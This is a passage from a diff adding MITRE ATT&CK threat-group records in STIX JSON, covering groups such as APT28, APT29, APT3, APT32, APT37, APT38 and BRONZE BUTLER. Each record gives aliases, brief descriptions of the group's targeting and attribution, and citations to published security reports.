2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "x_mitre_version": "2.1", + "modified": "2019-07-27T00:09:33.254Z", + "type": "intrusion-set", + "created": "2017-05-31T21:31:48.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT28", + "x_mitre_contributors": [ + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT29", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", + "type": "intrusion-set", + "aliases": [ + "APT29", + "YTTRIUM", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "external_references": [ + { + "external_id": "G0016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0016" + }, + { + "source_name": "APT29", + "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)" + }, + { + "source_name": "YTTRIUM", + "description": "(Citation: Microsoft Unidentified Dec 2018)" + }, + { + "source_name": "The Dukes", + "description": "(Citation: F-Secure The Dukes)" + }, + { + "source_name": "Cozy Bear", + "description": "(Citation: Crowdstrike DNC June 2016)" + }, + { + "source_name": "CozyDuke", + "description": "(Citation: Crowdstrike DNC June 2016)" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "source_name": "Microsoft Unidentified Dec 2018", + "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.", + "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" + } + ], + "modified": "2019-07-25T14:25:52.859Z", + "x_mitre_version": "1.2", + "created": "2017-05-31T21:31:52.748Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT3", + "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)", + "type": "intrusion-set", + "aliases": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "external_references": [ + { + "external_id": "G0022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0022" + }, + { + "source_name": "APT3", + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Gothic Panda", + "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Pirpi", + "description": "(Citation: PWC Pirpi Scanbox)" + }, + { + "source_name": "UPS Team", + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Buckeye", + "description": "(Citation: Symantec Buckeye)" + }, + { + "source_name": "Threat Group-0110", + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "TG-0110", + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "source_name": "Recorded Future APT3 May 2017", + "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.", + "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/" + }, + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + }, + { + "source_name": "PWC Pirpi Scanbox", + "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.", + "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html" + } + ], + "modified": "2019-04-29T18:01:19.908Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:55.853Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT30", + "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "type": "intrusion-set", + "aliases": [ + "APT30" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "external_references": [ + { + "external_id": "G0013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0013" + }, + { + "source_name": "APT30", + "description": "(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ], + "modified": "2019-03-22T18:44:28.439Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:51.026Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)", + "aliases": [ + "APT32", + "SeaLotus", + "OceanLotus", + "APT-C-00" + ], + "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "external_references": [ + { + "external_id": "G0050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0050" + }, + { + "source_name": "APT32", + "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)" + }, + { + "source_name": "SeaLotus", + "description": "(Citation: Cybereason Oceanlotus May 2017)" + }, + { + "source_name": "OceanLotus", + "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)" + }, + { + "source_name": "APT-C-00", + "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)" + }, + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "x_mitre_version": "2.0", + "modified": "2019-07-17T13:11:37.402Z", + "type": "intrusion-set", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT32", + "x_mitre_contributors": [ + "Romain Dumont, ESET" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT33", + "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "type": "intrusion-set", + "aliases": [ + "APT33", + "Elfin" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "external_references": [ + { + "external_id": "G0064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0064" + }, + { + "source_name": "APT33", + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)" + }, + { + "source_name": "Elfin", + "description": "(Citation: Symantec Elfin Mar 2019)" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "modified": "2019-06-28T15:05:32.933Z", + "x_mitre_version": "1.2", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "modified": "2018-10-17T00:17:13.469Z", + "type": "intrusion-set", + "revoked": true, + "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6", + "name": "APT34", + "external_references": [ + { + "external_id": "G0057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0057" + } + ], + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "aliases": [ + "APT37", + "ScarCruft", + "Reaper", + "Group123", + "TEMP.Reaper" + ], + "id": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "external_references": [ + { + "external_id": "G0067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0067" + }, + { + "source_name": "APT37", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "ScarCruft", + "description": "(Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)" + }, + { + "source_name": "Reaper", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "Group123", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "TEMP.Reaper", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "x_mitre_version": "1.2", + "modified": "2019-07-08T14:33:15.589Z", + "type": "intrusion-set", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT37", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT38", + "description": "[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "type": "intrusion-set", + "aliases": [ + "APT38" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "external_references": [ + { + "external_id": "G0082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0082" + }, + { + "source_name": "APT38", + "description": "(Citation: FireEye APT38 Oct 2018)" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + } + ], + "modified": "2019-04-29T17:49:17.589Z", + "x_mitre_version": "1.0", + "created": "2019-01-29T21:27:24.793Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT39", + "description": "[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)", + "type": "intrusion-set", + "aliases": [ + "APT39", + "Chafer" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "external_references": [ + { + "external_id": "G0087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0087" + }, + { + "source_name": "APT39", + "description": "(Citation: FireEye APT39 Jan 2019)" + }, + { + "source_name": "Chafer", + "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)" + }, + { + "source_name": "FireEye APT39 Jan 2019", + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + }, + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + } + ], + "modified": "2019-04-29T18:16:38.235Z", + "x_mitre_version": "2.0", + "created": "2019-02-19T16:01:38.585Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Axiom", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "type": "intrusion-set", + "aliases": [ + "Axiom", + "Group 72" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "external_references": [ + { + "external_id": "G0001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0001" + }, + { + "source_name": "Axiom", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "Group 72", + "description": "(Citation: Cisco Group 72)" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "source_name": "Cisco Group 72", + "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", + "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72" + } + ], + "modified": "2019-03-22T19:55:13.492Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:45.629Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "BRONZE BUTLER", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "type": "intrusion-set", + "aliases": [ + "BRONZE BUTLER", + "REDBALDKNIGHT", + "Tick" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "external_references": [ + { + "external_id": "G0060", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0060" + }, + { + "source_name": "BRONZE BUTLER", + "description": "(Citation: Trend Micro Daserf Nov 2017)" + }, + { + "source_name": "REDBALDKNIGHT", + "description": "(Citation: Trend Micro Daserf Nov 2017)" + }, + { + "source_name": "Tick", + "description": "(Citation: Trend Micro Daserf Nov 2017) (Citation: Symantec Tick Apr 2016)" + }, + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2019-03-22T19:57:36.804Z", + "x_mitre_version": "1.0", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "BlackOasis", + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "type": "intrusion-set", + "aliases": [ + "BlackOasis" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850", + "external_references": [ + { + "external_id": "G0063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0063" + }, + { + "source_name": "BlackOasis", + "description": "(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + }, + { + "source_name": "Securelist APT Trends Q2 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.", + "url": "https://securelist.com/apt-trends-report-q2-2017/79332/" + }, + { + "source_name": "CyberScoop BlackOasis Oct 2017", + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is 